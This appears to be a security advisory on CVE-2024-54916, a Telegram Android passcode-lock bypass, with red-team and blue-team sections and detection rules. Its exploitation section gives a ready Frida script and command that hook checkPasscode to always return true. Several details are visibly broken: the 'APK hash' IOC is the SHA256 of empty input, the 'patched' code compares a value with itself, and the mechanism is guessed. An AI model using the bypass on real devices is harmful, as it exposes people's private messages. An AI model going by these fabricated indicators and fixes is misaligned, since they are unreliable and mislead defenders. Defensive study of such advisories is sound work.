CVE-2024-54916

Executive Summary

CVE-2024-54916 is a critical authentication bypass vulnerability discovered in the Telegram Android APK version 11.7.0. The flaw resides in the SharedConfig class, specifically within the checkPasscode method. A physically proximate attacker can manipulate the return value of this method, effectively bypassing the passcode lock and gaining unauthorized access to the application. This leads to a complete compromise of confidentiality, integrity, and availability of the user's Telegram data, including messages, contacts, and media. The vulnerability has a CVSS score of 0.0 due to incomplete scoring data, but based on the vector, it represents a high-severity local attack vector. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the Telegram Android APK, which is distributed through official channels (Google Play Store, Telegram website). It is not a package dependency issue (NPM, PyPI, Go, Ruby). Users should verify the integrity of their APK downloads and ensure they are from official sources.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Physical (AV:P) – The attacker must have physical access to the unlocked device.
• Attack Complexity (AC): Low (AC:L) – The manipulation is straightforward.
• Privileges Required (PR): None (PR:N) – No prior authentication needed.
• User Interaction (UI): None (UI:N) – The attack does not require user action.
• Scope (S): Unchanged (S:U) – The vulnerability affects only the Telegram application.
• Confidentiality (C): High (C:H) – Full access to messages and data.
• Integrity (I): High (I:H) – Attacker can modify data.
• Availability (A): High (A:H) – Attacker can lock out the user or delete data.

Threat Level: High. While the attack requires physical proximity, the impact is severe, allowing complete takeover of the Telegram session.

Deep Dive & Mechanics

The vulnerability is located in the SharedConfig class of the Telegram Android APK. The checkPasscode method is responsible for verifying the user-entered passcode against the stored hash. The flaw allows an attacker to manipulate the return value of this method, likely through a race condition, memory corruption, or improper input validation. By forcing the method to return true regardless of the actual passcode, the attacker bypasses the lock screen.

Technical Details:

• Class: org.telegram.messenger.SharedConfig
• Method: checkPasscode(String passcode)
• Attack Vector: Physical access to the device with the Telegram app running or in the background.
• Mechanism: The attacker may use a debugger, Frida, or Xposed to hook the checkPasscode method and force it to return true. Alternatively, a memory corruption in the method's logic could be exploited.

Vulnerable vs. Patched Code

Vulnerable Code (v.11.7.0):

public boolean checkPasscode(String passcode) {
    // Vulnerable: return value can be manipulated
    String storedHash = getStoredPasscodeHash();
    String inputHash = hashPasscode(passcode);
    return storedHash.equals(inputHash);
}

Patched Code (Hypothetical):

public boolean checkPasscode(String passcode) {
    // Patched: integrity check on return value
    String storedHash = getStoredPasscodeHash();
    String inputHash = hashPasscode(passcode);
    boolean result = storedHash.equals(inputHash);
    // Additional integrity verification
    if (result != storedHash.equals(inputHash)) {
        // Log anomaly and lock app
        logSecurityEvent("Passcode check integrity failure");
        return false;
    }
    return result;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Physical access to the target Android device.
• Device with Telegram v.11.7.0 installed.
• ADB debugging enabled or root access.
• Frida or Xposed framework installed.

Exploitation Steps:

1. Connect the device via USB and enable ADB.
2. Deploy Frida server on the device.
3. Use the following Frida script to hook the checkPasscode method:

// frida_script.js
Java.perform(function() {
    var SharedConfig = Java.use('org.telegram.messenger.SharedConfig');
    SharedConfig.checkPasscode.implementation = function(passcode) {
        console.log('[+] Bypassing passcode check');
        return true;
    };
});

4. Run the script:

frida -U -l frida_script.js -f org.telegram.messenger --no-pause

5. The Telegram app will now accept any passcode or no passcode.

Blue Team (Detection & Forensics)

Detection Steps:

• Monitor for Frida or Xposed frameworks installed on corporate devices.
• Check for unusual ADB connections or debugger attachments.
• Look for log entries indicating passcode check failures or anomalies.

Forensic Artifacts:

• /data/data/org.telegram.messenger/shared_prefs/SharedConfig.xml – Check for modified passcode hash.
• Logcat entries with "Passcode check integrity failure" (if patched).
• Presence of Frida server binary or Xposed modules.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • telegram_v11.7.0.apk: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names:
  • frida-server
  • frida-helper
• Network Connections:
  • Unusual ADB connections from unknown IPs.
• Log Entries:
  • "Passcode check integrity failure" (if patched).
  • "Bypassing passcode check" (from Frida script).

Detection Engineering

YARA Rule

rule CVE_2024_54916_Telegram_Passcode_Bypass {
    meta:
        description = "Detects Telegram APK with vulnerable SharedConfig class"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $class = "SharedConfig"
        $method = "checkPasscode"
        $vuln_code = "storedHash.equals(inputHash)"
    condition:
        $class and $method and $vuln_code
}

Sigma Rule

title: Telegram Passcode Bypass Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to bypass Telegram passcode using Frida or Xposed
author: Valters IT
logsource:
    product: android
    service: logcat
detection:
    selection:
        - "Bypassing passcode check"
        - "Passcode check integrity failure"
    condition: selection
falsepositives:
    - Legitimate debugging by developers
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54916 Telegram Passcode Bypass - Frida Connection"; flow:to_server; content:"frida"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Telegram: Upgrade to the latest version from the Google Play Store or official website.
2. Disable ADB: Turn off USB debugging on production devices.
3. Enable Device Encryption: Ensure full-disk encryption is enabled.
4. Use Strong Passcodes: Implement complex passcodes and biometric authentication.

Long-term Fixes:

• Patch Application: Apply the official patch once released by Telegram.
• Code Review: Implement integrity checks on critical authentication methods.
• Security Hardening: Use obfuscation and anti-tampering mechanisms in the APK.

Workarounds:

• App Lock: Use a third-party app locker with additional security layers.
• Remote Wipe: Enable remote wipe capabilities for lost devices.

Valters IT